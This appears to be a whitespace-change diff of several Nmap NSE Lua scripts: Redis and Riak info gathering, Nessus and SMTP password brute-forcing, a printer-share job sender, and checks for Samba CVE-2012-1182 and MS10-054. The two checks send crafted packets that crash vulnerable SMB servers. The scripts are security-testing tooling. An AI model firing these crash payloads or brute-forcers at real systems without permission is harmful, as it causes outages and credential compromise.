if ( line:match("SERVER <|> PREFERENCES_ERRORS <|>") ) then if ( line:match("SERVER <|> PREFERENCES_ERRORS <|>") ) then
return true, brute.Account:new(username, password, creds.State.VALID) return true, brute.Account:new(username, password, creds.State.VALID)
end end
return false, brute.Error:new( "Incorrect password" ) return false, brute.Error:new( "Incorrect password" )
end, end,
disconnect = function( self ) disconnect = function( self )
self.socket:close() self.socket:close()
end, end,
} }
action = function(host, port) action = function(host, port)
local engine = brute.Engine:new(Driver, host, port) local engine = brute.Engine:new(Driver, host, port)
engine.options.script_name = SCRIPT_NAME engine.options.script_name = SCRIPT_NAME
-- the nessus service doesn't appear to do very well with multiple threads -- the nessus service doesn't appear to do very well with multiple threads
engine:setMaxThreads(1) engine:setMaxThreads(1)
local status, result = engine:start() local status, result = engine:start()
return result return result
end end

View File

@@ -40,103 +40,103 @@ portrule = shortport.port_or_service(6379, "redis")
local function fail(err) return ("\n ERROR: %s"):format(err) end local function fail(err) return ("\n ERROR: %s"):format(err) end
local function cb_parse_version(host, port, val) local function cb_parse_version(host, port, val)
port.version.version = val port.version.version = val
port.version.cpe = port.version.cpe or {} port.version.cpe = port.version.cpe or {}
table.insert(port.version.cpe, 'cpe:/a:redis:redis:' .. val) table.insert(port.version.cpe, 'cpe:/a:redis:redis:' .. val)
nmap.set_port_version(host, port) nmap.set_port_version(host, port)
return val return val
end end
local function cb_parse_architecture(host, port, val) local function cb_parse_architecture(host, port, val)
val = ("%s bits"):format(val) val = ("%s bits"):format(val)
port.version.extrainfo = val port.version.extrainfo = val
nmap.set_port_version(host, port) nmap.set_port_version(host, port)
return val return val
end end
local filter = { local filter = {
["redis_version"] = { name = "Version", func = cb_parse_version }, ["redis_version"] = { name = "Version", func = cb_parse_version },
["os"] = { name = "Operating System" }, ["os"] = { name = "Operating System" },
["arch_bits"] = { name = "Architecture", func = cb_parse_architecture }, ["arch_bits"] = { name = "Architecture", func = cb_parse_architecture },
["process_id"] = { name = "Process ID"}, ["process_id"] = { name = "Process ID"},
["uptime"] = { name = "Uptime", func = function(h, p, v) return ("%s seconds"):format(v) end }, ["uptime"] = { name = "Uptime", func = function(h, p, v) return ("%s seconds"):format(v) end },
["used_cpu_sys"]= { name = "Used CPU (sys)"}, ["used_cpu_sys"]= { name = "Used CPU (sys)"},
["used_cpu_user"] = { name = "Used CPU (user)"}, ["used_cpu_user"] = { name = "Used CPU (user)"},
["connected_clients"] = { name = "Connected clients"}, ["connected_clients"] = { name = "Connected clients"},
["connected_slaves"] = { name = "Connected slaves"}, ["connected_slaves"] = { name = "Connected slaves"},
["used_memory_human"] = { name = "Used memory"}, ["used_memory_human"] = { name = "Used memory"},
["role"] = { name = "Role"} ["role"] = { name = "Role"}
} }
local order = { local order = {
"redis_version", "os", "arch_bits", "process_id", "used_cpu_sys", "redis_version", "os", "arch_bits", "process_id", "used_cpu_sys",
"used_cpu_user", "connected_clients", "connected_slaves", "used_cpu_user", "connected_clients", "connected_slaves",
"used_memory_human", "role" "used_memory_human", "role"
} }
action = function(host, port) action = function(host, port)
local helper = redis.Helper:new(host, port) local helper = redis.Helper:new(host, port)
local status = helper:connect() local status = helper:connect()
if( not(status) ) then if( not(status) ) then
return fail("Failed to connect to server") return fail("Failed to connect to server")
end end
-- do we have a service password -- do we have a service password
local c = creds.Credentials:new(creds.ALL_DATA, host, port) local c = creds.Credentials:new(creds.ALL_DATA, host, port)
local cred = c:getCredentials(creds.State.VALID + creds.State.PARAM)() local cred = c:getCredentials(creds.State.VALID + creds.State.PARAM)()
if ( cred and cred.pass ) then if ( cred and cred.pass ) then
local status, response = helper:reqCmd("AUTH", cred.pass) local status, response = helper:reqCmd("AUTH", cred.pass)
if ( not(status) ) then if ( not(status) ) then
helper:close() helper:close()
return fail(response) return fail(response)
end end
end end
local status, response = helper:reqCmd("INFO") local status, response = helper:reqCmd("INFO")
if ( not(status) ) then if ( not(status) ) then
helper:close() helper:close()
return fail(response) return fail(response)
end end
helper:close() helper:close()
if ( redis.Response.Type.ERROR == response.type ) then if ( redis.Response.Type.ERROR == response.type ) then
if ( "-ERR operation not permitted" == response.data ) or if ( "-ERR operation not permitted" == response.data ) or
( "-NOAUTH Authentication required." == response.data ) then ( "-NOAUTH Authentication required." == response.data ) then
return fail("Authentication required") return fail("Authentication required")
end end
return fail(response.data) return fail(response.data)
end end
local restab = stdnse.strsplit("\r\n", response.data) local restab = stdnse.strsplit("\r\n", response.data)
if ( not(restab) or 0 == #restab ) then if ( not(restab) or 0 == #restab ) then
return fail("Failed to parse response from server") return fail("Failed to parse response from server")
end end
local kvs = {} local kvs = {}
for _, item in ipairs(restab) do for _, item in ipairs(restab) do
local k, v = item:match("^([^:]*):(.*)$") local k, v = item:match("^([^:]*):(.*)$")
if k ~= nil then if k ~= nil then
kvs[k] = v kvs[k] = v
end end
end end
local result = tab.new(2) local result = tab.new(2)
for _, item in ipairs(order) do for _, item in ipairs(order) do
if kvs[item] then if kvs[item] then
local name = filter[item].name local name = filter[item].name
local val local val
if filter[item].func then if filter[item].func then
val = filter[item].func(host, port, kvs[item]) val = filter[item].func(host, port, kvs[item])
else else
val = kvs[item] val = kvs[item]
end end
tab.addrow(result, name, val) tab.addrow(result, name, val)
end end
end end
return stdnse.format_output(true, tab.dump(result)) return stdnse.format_output(true, tab.dump(result))
end end

View File

@@ -57,49 +57,49 @@ categories = {"discovery", "safe"}
portrule = shortport.port_or_service(8098, "http") portrule = shortport.port_or_service(8098, "http")
local filter = { local filter = {
["sys_system_architecture"] = { name = "Architecture" }, ["sys_system_architecture"] = { name = "Architecture" },
["mem_total"] = { name = "Total Memory" }, ["mem_total"] = { name = "Total Memory" },
["crypto_version"] = { name = "Crypto version" }, ["crypto_version"] = { name = "Crypto version" },
["skerl_version"] = { name = "Skerl version" }, ["skerl_version"] = { name = "Skerl version" },
["os_mon_version"] = { name = "OS mon. version" }, ["os_mon_version"] = { name = "OS mon. version" },
["nodename"] = { name = "Node name" }, ["nodename"] = { name = "Node name" },
["basho_stats_version"] = { name = "Basho version" }, ["basho_stats_version"] = { name = "Basho version" },
["lager_version"] = { name = "Lager version" }, ["lager_version"] = { name = "Lager version" },
["cluster_info_version"] = { name = "Cluster info version" }, ["cluster_info_version"] = { name = "Cluster info version" },
["luke_version"] = { name = "Luke version" }, ["luke_version"] = { name = "Luke version" },
["sasl_version"] = { name = "SASL version" }, ["sasl_version"] = { name = "SASL version" },
["sys_driver_version"] = { name = "System driver version" }, ["sys_driver_version"] = { name = "System driver version" },
["bitcask_version"] = { name = "Bitcask version" }, ["bitcask_version"] = { name = "Bitcask version" },
["riak_search_version"] = { name = "Riak search version" }, ["riak_search_version"] = { name = "Riak search version" },
["kernel_version"] = { name = "Riak kernel version" }, ["kernel_version"] = { name = "Riak kernel version" },
["stdlib_version"] = { name = "Riak stdlib version" }, ["stdlib_version"] = { name = "Riak stdlib version" },
["basho_metrics_version"] = { name = "Basho metrics version" }, ["basho_metrics_version"] = { name = "Basho metrics version" },
["webmachine_version"] = { name = "WebMachine version" }, ["webmachine_version"] = { name = "WebMachine version" },
["public_key_version"] = { name = "Public key version" }, ["public_key_version"] = { name = "Public key version" },
["riak_core_version"] = { name = "Riak vore version" }, ["riak_core_version"] = { name = "Riak vore version" },
["riak_pipe_version"] = { name = "Riak pipe version" }, ["riak_pipe_version"] = { name = "Riak pipe version" },
["runtime_tools_version"] = { name = "Runtime tools version" }, ["runtime_tools_version"] = { name = "Runtime tools version" },
["ssl_version"] = { name = "SSL version" }, ["ssl_version"] = { name = "SSL version" },
["mochiweb_version"] = { name = "MochiWeb version"}, ["mochiweb_version"] = { name = "MochiWeb version"},
["erlang_js_version"] = { name = "Erlang JavaScript version" }, ["erlang_js_version"] = { name = "Erlang JavaScript version" },
["riak_kv_version"] = { name = "Riak kv version" }, ["riak_kv_version"] = { name = "Riak kv version" },
["luwak_version"] = { name = "Luwak version"}, ["luwak_version"] = { name = "Luwak version"},
["merge_index_version"] = { name = "Merge index version" }, ["merge_index_version"] = { name = "Merge index version" },
["inets_version"] = { name = "Inets version" }, ["inets_version"] = { name = "Inets version" },
["storage_backend"] = { name = "Storage backend" }, ["storage_backend"] = { name = "Storage backend" },
["riak_sysmon_version"] = { name = "Riak sysmon version" }, ["riak_sysmon_version"] = { name = "Riak sysmon version" },
} }
local order = { local order = {
"nodename", "sys_system_architecture", "storage_backend", "mem_total", "nodename", "sys_system_architecture", "storage_backend", "mem_total",
"crypto_version", "skerl_version", "os_mon_version", "basho_stats_version", "crypto_version", "skerl_version", "os_mon_version", "basho_stats_version",
"lager_version", "cluster_info_version", "luke_version", "sasl_version", "lager_version", "cluster_info_version", "luke_version", "sasl_version",
"sys_driver_version", "bitcask_version", "riak_search_version", "sys_driver_version", "bitcask_version", "riak_search_version",
"kernel_version", "stdlib_version", "basho_metrics_version", "kernel_version", "stdlib_version", "basho_metrics_version",
"webmachine_version", "public_key_version", "riak_core_version", "webmachine_version", "public_key_version", "riak_core_version",
"riak_pipe_version", "runtime_tools_version", "ssl_version", "riak_pipe_version", "runtime_tools_version", "ssl_version",
"mochiweb_version", "erlang_js_version", "riak_kv_version", "mochiweb_version", "erlang_js_version", "riak_kv_version",
"luwak_version", "merge_index_version", "inets_version", "riak_sysmon_version" "luwak_version", "merge_index_version", "inets_version", "riak_sysmon_version"
} }
@@ -107,39 +107,39 @@ local function fail(err) return ("\n ERROR: %s"):format(err) end
action = function(host, port) action = function(host, port)
local response = http.get(host, port, "/stats") local response = http.get(host, port, "/stats")
if ( not(response) or response.status ~= 200 ) then if ( not(response) or response.status ~= 200 ) then
return return
end end
-- Identify servers that answer 200 to invalid HTTP requests and exit as these would invalidate the tests -- Identify servers that answer 200 to invalid HTTP requests and exit as these would invalidate the tests
local _, http_status, _ = http.identify_404(host,port) local _, http_status, _ = http.identify_404(host,port)
if ( http_status == 200 ) then if ( http_status == 200 ) then
stdnse.print_debug(1, "%s: Exiting due to ambiguous response from web server on %s:%s. All URIs return status 200.", SCRIPT_NAME, host.ip, port.number) stdnse.print_debug(1, "%s: Exiting due to ambiguous response from web server on %s:%s. All URIs return status 200.", SCRIPT_NAME, host.ip, port.number)
return false return false
end end
-- Silently abort if the server responds as anything different than -- Silently abort if the server responds as anything different than
-- MochiWeb -- MochiWeb
if ( response.header['server'] and if ( response.header['server'] and
not(response.header['server']:match("MochiWeb")) ) then not(response.header['server']:match("MochiWeb")) ) then
return return
end end
local status, parsed = json.parse(response.body) local status, parsed = json.parse(response.body)
if ( not(status) ) then if ( not(status) ) then
return fail("Failed to parse response") return fail("Failed to parse response")
end end
local result = tab.new(2) local result = tab.new(2)
for _, item in ipairs(order) do for _, item in ipairs(order) do
if ( parsed[item] ) then if ( parsed[item] ) then
local name = filter[item].name local name = filter[item].name
local val = ( filter[item].func and filter[item].func(parsed[item]) or parsed[item] ) local val = ( filter[item].func and filter[item].func(parsed[item]) or parsed[item] )
tab.addrow(result, name, val) tab.addrow(result, name, val)
end end
end end
return stdnse.format_output(true, tab.dump(result)) return stdnse.format_output(true, tab.dump(result))
end end

View File

@@ -62,69 +62,69 @@ license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"vuln","intrusive"} categories = {"vuln","intrusive"}
hostrule = function(host) hostrule = function(host)
return smb.get_port(host) ~= nil return smb.get_port(host) ~= nil
end end
action = function(host,port) action = function(host,port)
local result, stats local result, stats
local response = {} local response = {}
local samba_cve = { local samba_cve = {
title = "SAMBA remote heap overflow", title = "SAMBA remote heap overflow",
IDS = {CVE = 'CVE-2012-1182'}, IDS = {CVE = 'CVE-2012-1182'},
risk_factor = "HIGH", risk_factor = "HIGH",
scores = { scores = {
CVSSv2 = "10.0 (HIGH) (AV:N/AC:L/Au:N/C:C/I:C/A:C)", CVSSv2 = "10.0 (HIGH) (AV:N/AC:L/Au:N/C:C/I:C/A:C)",
}, },
description = [[ description = [[
Samba versions 3.6.3 and all versions previous to this are affected by Samba versions 3.6.3 and all versions previous to this are affected by
a vulnerability that allows remote code execution as the "root" user a vulnerability that allows remote code execution as the "root" user
from an anonymous connection. from an anonymous connection.
]], ]],
references = { references = {
'http://www.samba.org/samba/security/CVE-2012-1182', 'http://www.samba.org/samba/security/CVE-2012-1182',
}, },
dates = { dates = {
disclosure = {year = '2012', month = '03', day = '15'}, disclosure = {year = '2012', month = '03', day = '15'},
}, },
exploit_results = {}, exploit_results = {},
} }
local report = vulns.Report:new(SCRIPT_NAME, host, port) local report = vulns.Report:new(SCRIPT_NAME, host, port)
samba_cve.state = vulns.STATE.NOT_VULN samba_cve.state = vulns.STATE.NOT_VULN
-- create SMB session -- create SMB session
local status, smbstate local status, smbstate
status, smbstate = msrpc.start_smb(host, msrpc.SAMR_PATH,true) status, smbstate = msrpc.start_smb(host, msrpc.SAMR_PATH,true)
if(status == false) then if(status == false) then
return false, smbstate return false, smbstate
end end
-- bind to SAMR service -- bind to SAMR service
local bind_result local bind_result
status, bind_result = msrpc.bind(smbstate, msrpc.SAMR_UUID, msrpc.SAMR_VERSION, nil) status, bind_result = msrpc.bind(smbstate, msrpc.SAMR_UUID, msrpc.SAMR_VERSION, nil)
if(status == false) then if(status == false) then
msrpc.stop_smb(smbstate) msrpc.stop_smb(smbstate)
return false, bind_result return false, bind_result
end end
-- create malicious packet, same as in the PoC -- create malicious packet, same as in the PoC
local data = bin.pack("<I",4096) -- num_sids local data = bin.pack("<I",4096) -- num_sids
.. "abcd" .. "abcd"
..bin.pack("<III",100 ..bin.pack("<III",100
,0 ,0
,100) ,100)
..string.rep("a",1000) ..string.rep("a",1000)
local marshaledHandle = string.rep("X",20) local marshaledHandle = string.rep("X",20)
status, result = msrpc.samr_getaliasmembership(smbstate,marshaledHandle, data) status, result = msrpc.samr_getaliasmembership(smbstate,marshaledHandle, data)
stdnse.print_debug(2, "msrpc.samr_getaliasmembership: %s, '%s'", status, result) stdnse.print_debug(2, "msrpc.samr_getaliasmembership: %s, '%s'", status, result)
if(status == false and string.find(result,"Failed to receive bytes after 5 attempts") ~= nil) then if(status == false and string.find(result,"Failed to receive bytes after 5 attempts") ~= nil) then
samba_cve.state = vulns.STATE.VULN -- connection droped, server crashed samba_cve.state = vulns.STATE.VULN -- connection droped, server crashed
end end
return report:make_output(samba_cve) return report:make_output(samba_cve)
end end

View File

@@ -28,7 +28,7 @@ which you can specify trough smb library arguments <code>smbuser</code> and
-- |_smb-print-text: Printer job started using MyPrinter printer share. -- |_smb-print-text: Printer job started using MyPrinter printer share.
-- --
-- @args printer Printer share name. Optional, by default script tries to enumerate available printer shares. -- @args printer Printer share name. Optional, by default script tries to enumerate available printer shares.
-- @args text Text to print. Either text or filename need to be specified. -- @args text Text to print. Either text or filename need to be specified.
-- @args filename File to read text from (ASCII only). -- @args filename File to read text from (ASCII only).
-- --
@@ -37,98 +37,98 @@ license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"intrusive"} categories = {"intrusive"}
hostrule = function(host) hostrule = function(host)
return smb.get_port(host) ~= nil return smb.get_port(host) ~= nil
end end
action = function(host,port) action = function(host,port)
local status, smbstate local status, smbstate
local text = stdnse.get_script_args(SCRIPT_NAME .. '.text') local text = stdnse.get_script_args(SCRIPT_NAME .. '.text')
local filename = stdnse.get_script_args(SCRIPT_NAME .. '.filename') local filename = stdnse.get_script_args(SCRIPT_NAME .. '.filename')
if (not text) and (not filename) then if (not text) and (not filename) then
stdnse.print_debug("Script requires either text or filename script argument.") stdnse.print_debug("Script requires either text or filename script argument.")
return false return false
end end
local text_to_print local text_to_print
if text then if text then
text_to_print = text text_to_print = text
else else
-- read text from file -- read text from file
local file = io.open(filename, "rb") local file = io.open(filename, "rb")
text_to_print = file:read("*all") text_to_print = file:read("*all")
end end
status, smbstate = msrpc.start_smb(host, msrpc.SPOOLSS_PATH,true) status, smbstate = msrpc.start_smb(host, msrpc.SPOOLSS_PATH,true)
if(status == false) then if(status == false) then
stdnse.print_debug("SMB: " .. smbstate) stdnse.print_debug("SMB: " .. smbstate)
return false, smbstate return false, smbstate
end end
local bind_result local bind_result
status, bind_result = msrpc.bind(smbstate,msrpc.SPOOLSS_UUID, msrpc.SPOOLSS_VERSION, nil) status, bind_result = msrpc.bind(smbstate,msrpc.SPOOLSS_UUID, msrpc.SPOOLSS_VERSION, nil)
if(status == false) then if(status == false) then
msrpc.stop_smb(smbstate) msrpc.stop_smb(smbstate)
stdnse.print_debug("SMB: " .. bind_result) stdnse.print_debug("SMB: " .. bind_result)
return false, bind_result return false, bind_result
end end
local printer = stdnse.get_script_args(SCRIPT_NAME .. '.printer') local printer = stdnse.get_script_args(SCRIPT_NAME .. '.printer')
-- if printer not set find available printers -- if printer not set find available printers
if not printer then if not printer then
stdnse.print_debug("No printer specified, trying to find one...") stdnse.print_debug("No printer specified, trying to find one...")
local lanman_result local lanman_result
local REMSmb_NetShareEnum_P = "WrLeh" local REMSmb_NetShareEnum_P = "WrLeh"
local REMSmb_share_info_1 = "B13BWz" local REMSmb_share_info_1 = "B13BWz"
status, lanman_result = msrpc.call_lanmanapi(smbstate,0,REMSmb_NetShareEnum_P,REMSmb_share_info_1,bin.pack("ss",0x01,65406)) status, lanman_result = msrpc.call_lanmanapi(smbstate,0,REMSmb_NetShareEnum_P,REMSmb_share_info_1,bin.pack("ss",0x01,65406))
if status == false then if status == false then
stdnse.print_debug("SMB: " .. lanman_result) stdnse.print_debug("SMB: " .. lanman_result)
stdnse.print_debug("SMB: Looks like LANMAN API is not available. Try setting printer script arg.") stdnse.print_debug("SMB: Looks like LANMAN API is not available. Try setting printer script arg.")
return false return false
end end
local parameters = lanman_result.parameters local parameters = lanman_result.parameters
local data = lanman_result.data local data = lanman_result.data
local pos, status, convert, entry_count, available_entries = bin.unpack("<SSSS", parameters) local pos, status, convert, entry_count, available_entries = bin.unpack("<SSSS", parameters)
pos = 0 pos = 0
local share_type, name, _ local share_type, name, _
for i = 1, entry_count, 1 do for i = 1, entry_count, 1 do
_,share_type = bin.unpack(">s",data,pos+14) _,share_type = bin.unpack(">s",data,pos+14)
pos, name = bin.unpack("<z", data, pos) pos, name = bin.unpack("<z", data, pos)
-- pos needs to be rounded to the next even multiple of 20 -- pos needs to be rounded to the next even multiple of 20
pos = pos + ( 20 - (#name % 20) ) - 1 pos = pos + ( 20 - (#name % 20) ) - 1
if share_type == 1 then -- share is printer if share_type == 1 then -- share is printer
stdnse.print_debug("Found printer share %s.", name) stdnse.print_debug("Found printer share %s.", name)
printer = name printer = name
end end
end end
end end
if not printer then if not printer then
stdnse.print_debug("No printer found, system may be unpached but it needs at least one printer shared to be vulnerable.") stdnse.print_debug("No printer found, system may be unpached but it needs at least one printer shared to be vulnerable.")
return false return false
end end
stdnse.print_debug("Using %s as printer.",printer) stdnse.print_debug("Using %s as printer.",printer)
-- call RpcOpenPrinterEx - opnum 69 -- call RpcOpenPrinterEx - opnum 69
local status, result = msrpc.spoolss_open_printer(smbstate,"\\\\"..host.ip.."\\"..printer) local status, result = msrpc.spoolss_open_printer(smbstate,"\\\\"..host.ip.."\\"..printer)
if not status then if not status then
return false return false
end end
local printer_handle = string.sub(result.data,25,#result.data-4) local printer_handle = string.sub(result.data,25,#result.data-4)
stdnse.print_debug("Printer handle %s",stdnse.tohex(printer_handle)) stdnse.print_debug("Printer handle %s",stdnse.tohex(printer_handle))
-- call RpcStartDocPrinter - opnum 17 -- call RpcStartDocPrinter - opnum 17
status,result = msrpc.spoolss_start_doc_printer(smbstate,printer_handle,"nmap_print_test.txt") -- patched version will allow this status,result = msrpc.spoolss_start_doc_printer(smbstate,printer_handle,"nmap_print_test.txt") -- patched version will allow this
if not status then if not status then
return false return false
end end
local print_job_id = string.sub(result.data,25,#result.data-4) local print_job_id = string.sub(result.data,25,#result.data-4)
stdnse.print_debug("Start doc printer job id %s",stdnse.tohex(print_job_id)) stdnse.print_debug("Start doc printer job id %s",stdnse.tohex(print_job_id))
-- call RpcWritePrinter - 19 -- call RpcWritePrinter - 19
status, result = msrpc.spoolss_write_printer(smbstate,printer_handle,text_to_print) status, result = msrpc.spoolss_write_printer(smbstate,printer_handle,text_to_print)
if not status then if not status then
return false return false
end end
local write_result = string.sub(result.data,25,#result.data-4) local write_result = string.sub(result.data,25,#result.data-4)
stdnse.print_debug("Written %s bytes to a file.",stdnse.tohex(write_result)) stdnse.print_debug("Written %s bytes to a file.",stdnse.tohex(write_result))
status,result = msrpc.spoolss_end_doc_printer(smbstate,printer_handle) status,result = msrpc.spoolss_end_doc_printer(smbstate,printer_handle)
return string.format("Printer job started using <%s> printer share.", printer) return string.format("Printer job started using <%s> printer share.", printer)
end end

View File

@@ -45,102 +45,102 @@ license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"vuln","intrusive","dos"} categories = {"vuln","intrusive","dos"}
hostrule = function(host) hostrule = function(host)
return smb.get_port(host) ~= nil return smb.get_port(host) ~= nil
end end
-- stolen from smb.lua as max data count needed to be modified to trigger the crash -- stolen from smb.lua as max data count needed to be modified to trigger the crash
local function send_transaction2(smbstate, sub_command, function_parameters) local function send_transaction2(smbstate, sub_command, function_parameters)
local header, parameters, data, command local header, parameters, data, command
local parameter_offset = 0 local parameter_offset = 0
local parameter_size = 0 local parameter_size = 0
local data_offset = 0 local data_offset = 0
local data_size = 0 local data_size = 0
local total_word_count, total_data_count, reserved1, parameter_count, parameter_displacement, data_count, data_displacement, setup_count, reserved2 local total_word_count, total_data_count, reserved1, parameter_count, parameter_displacement, data_count, data_displacement, setup_count, reserved2
local response = {} local response = {}
-- Header is 0x20 bytes long (not counting NetBIOS header). -- Header is 0x20 bytes long (not counting NetBIOS header).
header = smb.smb_encode_header(smbstate, smb.command_codes['SMB_COM_TRANSACTION2'], {}) -- 0x32 = SMB_COM_TRANSACTION2 header = smb.smb_encode_header(smbstate, smb.command_codes['SMB_COM_TRANSACTION2'], {}) -- 0x32 = SMB_COM_TRANSACTION2
if(function_parameters) then if(function_parameters) then
parameter_offset = 0x44 parameter_offset = 0x44
parameter_size = #function_parameters parameter_size = #function_parameters
data_offset = #function_parameters + 33 + 32 data_offset = #function_parameters + 33 + 32
end end
-- Parameters are 0x20 bytes long. -- Parameters are 0x20 bytes long.
parameters = bin.pack("<SSSSCCSISSSSSCCS", parameters = bin.pack("<SSSSCCSISSSSSCCS",
parameter_size, -- Total parameter count. parameter_size, -- Total parameter count.
data_size, -- Total data count. data_size, -- Total data count.
0x000a, -- Max parameter count. 0x000a, -- Max parameter count.
0x000a, -- Max data count, less than 12 causes a crash 0x000a, -- Max data count, less than 12 causes a crash
0x00, -- Max setup count. 0x00, -- Max setup count.
0x00, -- Reserved. 0x00, -- Reserved.
0x0000, -- Flags (0x0000 = 2-way transaction, don't disconnect TIDs). 0x0000, -- Flags (0x0000 = 2-way transaction, don't disconnect TIDs).
0x00001388, -- Timeout (0x00000000 = return immediately). 0x00001388, -- Timeout (0x00000000 = return immediately).
0x0000, -- Reserved. 0x0000, -- Reserved.
parameter_size, -- Parameter bytes. parameter_size, -- Parameter bytes.
parameter_offset, -- Parameter offset. parameter_offset, -- Parameter offset.
data_size, -- Data bytes. data_size, -- Data bytes.
data_offset, -- Data offset. data_offset, -- Data offset.
0x01, -- Setup Count 0x01, -- Setup Count
0x00, -- Reserved 0x00, -- Reserved
sub_command -- Sub command sub_command -- Sub command
) )
local data = "\0\0\0" .. (function_parameters or '') local data = "\0\0\0" .. (function_parameters or '')
-- Send the transaction request -- Send the transaction request
stdnse.print_debug(2, "SMB: Sending SMB_COM_TRANSACTION2") stdnse.print_debug(2, "SMB: Sending SMB_COM_TRANSACTION2")
local result, err = smb.smb_send(smbstate, header, parameters, data, {}) local result, err = smb.smb_send(smbstate, header, parameters, data, {})
if(result == false) then if(result == false) then
return false, err return false, err
end end
return true return true
end end
action = function(host,port) action = function(host,port)
if not stdnse.get_script_args(SCRIPT_NAME .. '.unsafe') then if not stdnse.get_script_args(SCRIPT_NAME .. '.unsafe') then
stdnse.print_debug("You must specify unsafe script argument to run this script.") stdnse.print_debug("You must specify unsafe script argument to run this script.")
return false return false
end end
local ms10_054 = { local ms10_054 = {
title = "SMB remote memory corruption vulnerability", title = "SMB remote memory corruption vulnerability",
IDS = {CVE = 'CVE-2010-2550'}, IDS = {CVE = 'CVE-2010-2550'},
risk_factor = "HIGH", risk_factor = "HIGH",
scores = { scores = {
CVSSv2 = "10.0 (HIGH) (AV:N/AC:L/Au:N/C:C/I:C/A:C)", CVSSv2 = "10.0 (HIGH) (AV:N/AC:L/Au:N/C:C/I:C/A:C)",
}, },
description = [[ description = [[
The SMB Server in Microsoft Windows XP SP2 and SP3, Windows Server 2003 SP2, The SMB Server in Microsoft Windows XP SP2 and SP3, Windows Server 2003 SP2,
Windows Vista SP1 and SP2, Windows Server 2008 Gold, SP2, and R2, and Windows 7 Windows Vista SP1 and SP2, Windows Server 2008 Gold, SP2, and R2, and Windows 7
does not properly validate fields in an SMB request, which allows remote attackers does not properly validate fields in an SMB request, which allows remote attackers
to execute arbitrary code via a crafted SMB packet, aka "SMB Pool Overflow Vulnerability." to execute arbitrary code via a crafted SMB packet, aka "SMB Pool Overflow Vulnerability."
]], ]],
references = { references = {
'http://seclists.org/fulldisclosure/2010/Aug/122', 'http://seclists.org/fulldisclosure/2010/Aug/122',
'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2550' 'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2550'
}, },
dates = { dates = {
disclosure = {year = '2010', month = '08', day = '11'}, disclosure = {year = '2010', month = '08', day = '11'},
}, },
exploit_results = {}, exploit_results = {},
} }
local report = vulns.Report:new(SCRIPT_NAME, host, port) local report = vulns.Report:new(SCRIPT_NAME, host, port)
ms10_054.state = vulns.STATE.NOT_VULN ms10_054.state = vulns.STATE.NOT_VULN
local share = stdnse.get_script_args(SCRIPT_NAME .. '.share') or "SharedDocs" local share = stdnse.get_script_args(SCRIPT_NAME .. '.share') or "SharedDocs"
local status, smbstate = smb.start_ex(host, true, true, share, nil, nil, nil) local status, smbstate = smb.start_ex(host, true, true, share, nil, nil, nil)
local param = "0501" -- Query FS Attribute Info local param = "0501" -- Query FS Attribute Info
local status, result = send_transaction2(smbstate,0x03,bin.pack("H",param)) local status, result = send_transaction2(smbstate,0x03,bin.pack("H",param))
status, result = smb.smb_read(smbstate,true) -- see if we can still talk to the victim status, result = smb.smb_read(smbstate,true) -- see if we can still talk to the victim
if not status then -- if not , it has crashed if not status then -- if not , it has crashed
ms10_054.state = vulns.STATE.VULN ms10_054.state = vulns.STATE.VULN
else else
stdnse.print_debug("Machine is not vulnerable") stdnse.print_debug("Machine is not vulnerable")
end end
return report:make_output(ms10_054) return report:make_output(ms10_054)
end end

View File

@@ -47,93 +47,93 @@ ConnectionPool = {}
Driver = Driver =
{ {
-- Creates a new driver instance -- Creates a new driver instance
-- @param host table as received by the action method -- @param host table as received by the action method
-- @param port table as received by the action method -- @param port table as received by the action method
-- @param pool an instance of the ConnectionPool -- @param pool an instance of the ConnectionPool
new = function(self, host, port) new = function(self, host, port)
local o = { host = host, port = port } local o = { host = host, port = port }
setmetatable(o, self) setmetatable(o, self)
self.__index = self self.__index = self
return o return o
end, end,
-- Connects to the server (retrieves a connection from the pool) -- Connects to the server (retrieves a connection from the pool)
connect = function( self ) connect = function( self )
self.socket = ConnectionPool[coroutine.running()] self.socket = ConnectionPool[coroutine.running()]
if ( not(self.socket) ) then if ( not(self.socket) ) then
self.socket = smtp.connect(self.host, self.port, { ssl = true, recv_before = true }) self.socket = smtp.connect(self.host, self.port, { ssl = true, recv_before = true })
if ( not(self.socket) ) then return false end if ( not(self.socket) ) then return false end
ConnectionPool[coroutine.running()] = self.socket ConnectionPool[coroutine.running()] = self.socket
end end
return true return true
end, end,
-- Attempts to login to the server -- Attempts to login to the server
-- @param username string containing the username -- @param username string containing the username
-- @param password string containing the password -- @param password string containing the password
-- @return status true on success, false on failure -- @return status true on success, false on failure
-- @return brute.Error on failure and brute.Account on success -- @return brute.Error on failure and brute.Account on success
login = function( self, username, password ) login = function( self, username, password )
local status, err = smtp.login( self.socket, username, password, mech ) local status, err = smtp.login( self.socket, username, password, mech )
if ( status ) then if ( status ) then
smtp.quit(self.socket) smtp.quit(self.socket)
ConnectionPool[coroutine.running()] = nil ConnectionPool[coroutine.running()] = nil
return true, brute.Account:new(username, password, creds.State.VALID) return true, brute.Account:new(username, password, creds.State.VALID)
end end
if ( err:match("^ERROR: Failed to .*") ) then if ( err:match("^ERROR: Failed to .*") ) then
self.socket:close() self.socket:close()
ConnectionPool[coroutine.running()] = nil ConnectionPool[coroutine.running()] = nil
local err = brute.Error:new( err ) local err = brute.Error:new( err )
-- This might be temporary, set the retry flag -- This might be temporary, set the retry flag
err:setRetry( true ) err:setRetry( true )
return false, err return false, err
end end
return false, brute.Error:new( "Incorrect password" ) return false, brute.Error:new( "Incorrect password" )
end, end,
-- Disconnects from the server (release the connection object back to -- Disconnects from the server (release the connection object back to
-- the pool) -- the pool)
disconnect = function( self ) disconnect = function( self )
return true return true
end, end,
} }
action = function(host, port) action = function(host, port)
local socket, response = smtp.connect(host, port, { ssl = true, recv_before = true }) local socket, response = smtp.connect(host, port, { ssl = true, recv_before = true })
if ( not(socket) ) then return "\n ERROR: Failed to connect to SMTP server" end if ( not(socket) ) then return "\n ERROR: Failed to connect to SMTP server" end
local status, response = smtp.ehlo(socket, smtp.get_domain(host)) local status, response = smtp.ehlo(socket, smtp.get_domain(host))
if ( not(status) ) then return "\n ERROR: EHLO command failed, aborting ..." end if ( not(status) ) then return "\n ERROR: EHLO command failed, aborting ..." end
local mechs = smtp.get_auth_mech(response) local mechs = smtp.get_auth_mech(response)
